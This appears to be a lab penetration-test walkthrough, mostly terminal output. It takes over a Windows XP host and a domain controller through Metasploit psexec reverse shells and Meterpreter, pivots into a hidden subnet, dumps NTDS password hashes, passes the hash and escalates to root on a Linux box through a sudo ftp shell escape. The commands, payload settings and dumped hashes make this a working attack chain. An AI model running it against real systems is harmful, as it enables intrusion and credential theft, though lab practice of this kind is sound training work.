Given username: root and password: root123

```
root@kali:~# smbmap -u root -p root123 -H 192.168.218.138
[+] Finding open SMB ports....
[+] Guest SMB session established on 192.168.218.138...
[+] IP: 192.168.218.138:445     Name: winxp
        Disk                                                    Permissions
        ----                                                    -----------
        IPC$                                                    NO ACCESS
        SMBSHARE                                                READ, WRITE
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
root@kali:~#
```

Set share to share folders we have read and write access

```
msf5 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required
   ----                  ---------------  --------
   RHOSTS                192.168.218.138  yes
   RPORT                 445              yes
   SERVICE_DESCRIPTION                    no
   SERVICE_DISPLAY_NAME                   no
   SERVICE_NAME                           no
   SHARE                 smbshare         yes
   SMBDomain             .                no
   SMBPass               root123          no
   SMBUser               administrator    no


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit techni
   LHOST     eth0             yes       The listen
   LPORT     4444             yes       The listen
```

Connect to winxp workstation using PSEXEC a success

```
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.218.130:4444
[*] 192.168.218.138:445 - Connecting to the server...
[*] 192.168.218.138:445 - Authenticating to 192.168.218.138:445 as user 'administrator'...
[*] 192.168.218.138:445 - Selecting native target
[*] 192.168.218.138:445 - Uploading payload... kAZCnjPW.exe
[*] 192.168.218.138:445 - Created \kAZCnjPW.exe...
[+] 192.168.218.138:445 - Service started successfully...
[*] 192.168.218.138:445 - Deleting \kAZCnjPW.exe...
[*] Sending stage (179779 bytes) to 192.168.218.138
[*] Meterpreter session 1 opened (192.168.218.130:4444 -> 192.168.218.138:1357) at 2020-01-12 15:56:31 +0800

meterpreter >
```

System authority on winxp

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : HACKINOS
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : HACK
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter >
```

2 subnets

```
Interface  2
============
Name         : VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:48:54:9b
MTU          : 1500
IPv4 Address : 192.168.11.128
IPv4 Netmask : 255.255.255.0


Interface 65540
============
Name         : VMware Accelerated AMD PCNet Adapter
Hardware MAC : 00:0c:29:48:54:91
MTU          : 1500
IPv4 Address : 192.168.218.138
IPv4 Netmask : 255.255.255.0
```

Setting autoroute options for pivoting

```
msf5 post(multi/manage/autoroute) > options

Module options (post/multi/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
   SESSION  1                yes       The session to run this module on.
   SUBNET   192.168.11.0     no        Subnet (IPv4, for example, 10.10.10.0)

msf5 post(multi/manage/autoroute) >
```

We have access to the hidden subnetwork

```
msf5 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module.
[*] Running module against HACKINOS
[*] Searching for subnets to autoroute.
[+] Route added to subnet 192.168.11.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.218.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf5 post(multi/manage/autoroute) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.11.0       255.255.255.0      Session 1
   192.168.218.0      255.255.255.0      Session 1

meterpreter >
```

Setting socks4 option for proxychains

```
msf5 auxiliary(server/socks4a) > options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  8888             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy


msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 3.

[*] Starting the socks4a proxy server
msf5 auxiliary(server/socks4a) > jobs -l

Jobs
====

  Id  Name                     Payload  Payload opts
  --  ----                     -------  ------------
  3   Auxiliary: server/socks4a

msf5 auxiliary(server/socks4a) >
```

```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks4 127.0.0.1 8888
~
~
```

Getting credentials

```
C:\temp>dir
dir
 Volume in drive C is SYSTEM
 Volume Serial Number is C489-4D51

 Directory of C:\temp

01/12/2020  03:34 PM    <DIR>          .
01/12/2020  03:34 PM    <DIR>          ..
04/02/2003  05:29 PM             6,236 ADMINPAK-README.TXT
04/02/2003  04:41 PM        13,128,192 adminpak.msi
04/02/2003  06:34 PM            60,358 apver.vbs
09/24/2019  10:21 PM               113 creds.txt
               4 File(s)     13,194,899 bytes
               2 Dir(s)  34,315,624,448 bytes free

C:\temp>type creds.txt
type creds.txt
administrator: root123
ftpuser: naruto29
remotedesktop: remoteadmin
wpadmin: P@ssw0rd12345
wpuser: P@ssw0rd29
C:\temp>
```

Determine ip for DC

```
Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-0C-29-48-54-91
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.218.138
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.218.2
        DNS Servers . . . . . . . . . . . : 192.168.218.128

C:\temp>
```

On our current creds, we have no access to view shares on DC

```
C:\temp>net view \\192.168.218.128
net view \\192.168.218.128
System error 5 has occurred.

Access is denied.


C:\temp>
```

Password reuse(DC) / Guessing based on the creds that we have

```
root@kali:~# smbmap -u administrator -p P@ssw0rd12345 -H 192.168.218.128
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.168.218.128...
[+] IP: 192.168.218.128:445     Name: dc
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  READ, WRITE
        C$                                                      READ, WRITE
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ, WRITE
        SYSVOL                                                  READ, WRITE
        [!] Unable to remove test directory at \\192.168.218.128\SYSVOL\JphYfmBxzG, plreae remove manually
root@kali:~#
```

```
msf5 exploit(windows/smb/psexec_psh) > options

Module options (exploit/windows/smb/psexec_psh):

   Name                  Current Setting  Required  D
   ----                  ---------------  --------  -
   DryRun                false            no        P
   RHOSTS                192.168.218.128  yes       T
   RPORT                 445              yes       T
   SERVICE_DESCRIPTION                    no        S
   SERVICE_DISPLAY_NAME                   no        T
   SERVICE_NAME                           no        T
   SMBDomain             .                no        T
   SMBPass               P@ssw0rd12345    no        T
   SMBUser               administrator    no        T


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit techniqu
   LHOST     eth0             yes       The listen ad
   LPORT     5555             yes       The listen po
```

Somehow we have system access on DC

```
msf5 exploit(windows/smb/psexec_psh) > run

[*] Started reverse TCP handler on 192.168.218.130:5555
[*] 192.168.218.128:445 - Executing the payload...
[*] Sending stage (179779 bytes) to 192.168.218.128
[+] 192.168.218.128:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (192.168.218.130:5555 -> 192.168.218.128:50079) at 2020-01-12 16:08:57 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : HACKIN-SVR
OS              : Windows 2008 (Build 6003, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : HACK
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

Doing post exploitation

```
meterpreter > shell
Process 1372 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6003]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>cd \
cd \

C:\>dir /s/p ntds.dit
dir /s/p ntds.dit
 Volume in drive C is SYSTEM
 Volume Serial Number is 48C1-FD24

 Directory of C:\Windows\NTDS

01/11/2020  10:17 AM        12,599,296 ntds.dit
               1 File(s)     12,599,296 bytes

 Directory of C:\Windows\System32

09/28/2019  10:42 PM         8,404,992 ntds.dit
               1 File(s)      8,404,992 bytes
```

Password dump of dc

```
msf5 post(windows/gather/credentials/domain_hashdump) > set session 3
session => 3
msf5 post(windows/gather/credentials/domain_hashdump) > run

[*] Session has Admin privs
[*] Session is on a Domain Controller
[*] Pre-conditions met, attempting to copy NTDS.dit
[*] Using NTDSUTIL method
[*] NTDS database copied to C:\Windows\Temp\YFHwJHrx\Active Directory\ntds.dit
[*] NTDS File Size: 12599296 bytes
[*] Repairing NTDS database after copy...
[*]
Initiating REPAIR mode...
        Database: C:\Windows\Temp\YFHwJHrx\Active Directory\ntds.dit
  Temp. Database: TEMPREPAIR3780.EDB

Checking database integrity.

                    Scanning Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ..................................................


Integrity check successful.

Note:
  It is recommended that you immediately perform a full backup
  of this database. If you restore a backup made before the
  repair, the database will be rolled back to the state
  it was in at the time of that backup.

Operation completed successfully in 0.328 seconds.
```

```
[*] Started up NTDS channel. Preparing to stream results...
[+] Administrator (Built-in account for administering the computer/domain)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:25CB75FB3F857DE4BB08FEDDCA639D2D
Password Expires: Monday, January 01, 1601
Last Password Change: 2:44:51 PM Saturday, September 28, 2019
Last Logon: 8:05:08 AM Sunday, January 12, 2020
Logon Count: 11

Hash History:


[+]          Guest (Built-in account for guest access to the computer/domain)
         Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
         Password Expires: Never
         Last Password Change: 12:00:00 AM Monday, January 01, 1601
         Last Logon: 12:00:00 AM Monday, January 01, 1601
         Logon Count: 0
          - Account Disabled
- Password Never Expires
- No Password Required

         Hash History:


[+] adminuser ()
adminuser:1000:aad3b435b51404eeaad3b435b51404ee:E19CCF75EE54E06B06A5907AF13CEF42
Password Expires: Monday, January 01, 1601
Last Password Change: 4:19:17 PM Saturday, September 28, 2019
Last Logon: 4:29:36 AM Wednesday, October 16, 2019
Logon Count: 81
 - No Password Required

Hash History:
adminuser:1000:46BA9715D04F4CB63365BD096A512FB7:E19CCF75EE54E06B06A5907AF13CEF42
```

```
[+] krbtgt (Key Distribution Center Service Account)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:A512BE9226FA274D28F9B600F533F682
Password Expires: Never
Last Password Change: 2:48:44 PM Saturday, September 28, 2019
Last Logon: 12:00:00 AM Monday, January 01, 1601
Logon Count: 0
 - Account Disabled

Hash History:
krbtgt:502:8EE0F1D30E45082D6E19EA77CD82D1E9:A512BE9226FA274D28F9B600F533F682


[+] bkupadmin ()
bkupadmin:1108:aad3b435b51404eeaad3b435b51404ee:16936944FA1C4964A8A6E7D2DDC3C432
Password Expires: Never
Last Password Change: 5:19:36 PM Sunday, October 06, 2019
Last Logon: 12:00:00 AM Monday, January 01, 1601
Logon Count: 0
 - Password Never Expires

Hash History:
bkupadmin:1108:6D052F4639E284B6A3AF5D71E82F35B9:16936944FA1C4964A8A6E7D2DDC3C432


[*] Deleting backup of NTDS.dit at C:\Windows\Temp\YFHwJHrx\Active Directory\ntds.dit
[*] Post module execution completed
msf5 post(windows/gather/credentials/domain_hashdump) >
```

Checking creds for administrator

```
root@kali:~/pivot2# smbmap -u administrator -p 'aad3b435b51404eeaad3b435b51404ee:25CB75FB3F857DE4BB08FEDDCA639D2D' -d HACK -H 192.168.218.128
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 192.168.218.128...
[+] IP: 192.168.218.128:445     Name: dc
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  READ, WRITE
        C$                                                      READ, WRITE
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ, WRITE
        SYSVOL                                                  READ, WRITE
        [!] Unable to remove test directory at \\192.168.218.128\SYSVOL\XRkguLGvAV, plreae remove manually
root@kali:~/pivot2#
```

Testing creds on DC, success

```
msf5 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf5 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                  Required
   ----                  ---------------                                                  --------
   RHOSTS                192.168.218.128                                                  yes
   RPORT                 445                                                              yes
   SERVICE_DESCRIPTION                                                                    no
   SERVICE_DISPLAY_NAME                                                                   no
   SERVICE_NAME                                                                           no
   SHARE                 C$                                                               yes
older share
   SMBDomain             HACK                                                             no
   SMBPass               aad3b435b51404eeaad3b435b51404ee:25CB75FB3F857DE4BB08FEDDCA639D2D no
   SMBUser               administrator                                                    no


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     eth0             yes       The listen address (an interface may be specified)
   LPORT     11111            yes       The listen port
```

```
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.218.130:11111
[*] 192.168.218.128:445 - Connecting to the server...
[*] 192.168.218.128:445 - Authenticating to 192.168.218.128:445|HACK as user 'administrator'...
[*] 192.168.218.128:445 - Selecting PowerShell target
[*] 192.168.218.128:445 - Executing the payload...
[*] Sending stage (179779 bytes) to 192.168.218.128
[*] Meterpreter session 1 opened (192.168.218.130:11111 -> 192.168.218.128:50157) at 2020-01-12 16:46:03 +0800
[+] 192.168.218.128:445 - Service start timed out, OK if running a command or non-service executable...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : HACKIN-SVR
OS              : Windows 2008 (Build 6003, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : HACK
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

Testing creds on winxp workstation

```
root@kali:~/pivot2# smbmap -u administrator -d hack -p 'aad3b435b51404eeaad3b435b51404ee:25CB75FB3F857DE4BB08FEDDCA639D2D' -H 192.168.218.138
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 192.168.218.138...
[+] IP: 192.168.218.138:445     Name: winxp
        Disk                                                    Permissions
        ----                                                    -----------
        IPC$                                                    NO ACCESS
        SMBSHARE                                                READ, WRITE
        ADMIN$                                                  READ, WRITE
        C$                                                      READ, WRITE
root@kali:~/pivot2#
```

```
root@kali:~/pivot2# pth-smbclient -L //192.168.218.138 --user=hack/Administrator
Enter HACK\Administrator's password:
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       Remote IPC
        SMBSHARE        Disk
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
```

Searching computers on hidden subnetwork

```
C:\temp>(for /L %a IN (1,1,254) DO ping /n 1 /w 3 192.168.11.%a) | find "Reply" > ping_only_replies.txt
(for /L %a IN (1,1,254) DO ping /n 1 /w 3 192.168.11.%a) | find "Reply" > ping_only_replies.txt

C:\temp>type ping_only_replies.txt
type ping_only_replies.txt
Reply from 192.168.11.1: bytes=32 time<1ms TTL=128
Reply from 192.168.11.128: bytes=32 time<1ms TTL=128
Reply from 192.168.11.129: bytes=32 time<1ms TTL=64
```

Priv escalation on hidden computer

```
root@kali:~/pivot2# proxychains ssh bob@192.168.11.129
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8888-<><>-192.168.11.129:22-<><>-OK
bob@192.168.11.129's password:
 _     ___ _   _ ____  _____ ____ _   _ ____  ___ _____ __   __
| |   |_ _| \ | / ___|| ____/ ___| | | |  _ \|_ _|_   _|\ \ / /
| |    | ||  \| \___ \|  _|| |   | | | | |_) || |  | |   \ V /
| |___ | || |\  |___) | |__| |___| |_| |  _ < | |  | |    | |
|_____|___|_| \_|____/|_____\____|\___/|_| \_\___| |_|    |_|

Welcome to lin.security | https://in.security | version 1.0

bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp
        /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/b
        /usr/bin/scp
bob@linsecurity:~$ sudo /bin/ed
!/bin/bash
id
^C
bob@linsecurity:~$ sudo /bin/ed
?!
1
1+2
^C
^C^C^C^C

bob@linsecurity:~$
bob@linsecurity:~$ vi
bob@linsecurity:~$ sudo /usr/bin/ftp
ftp> !/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#
```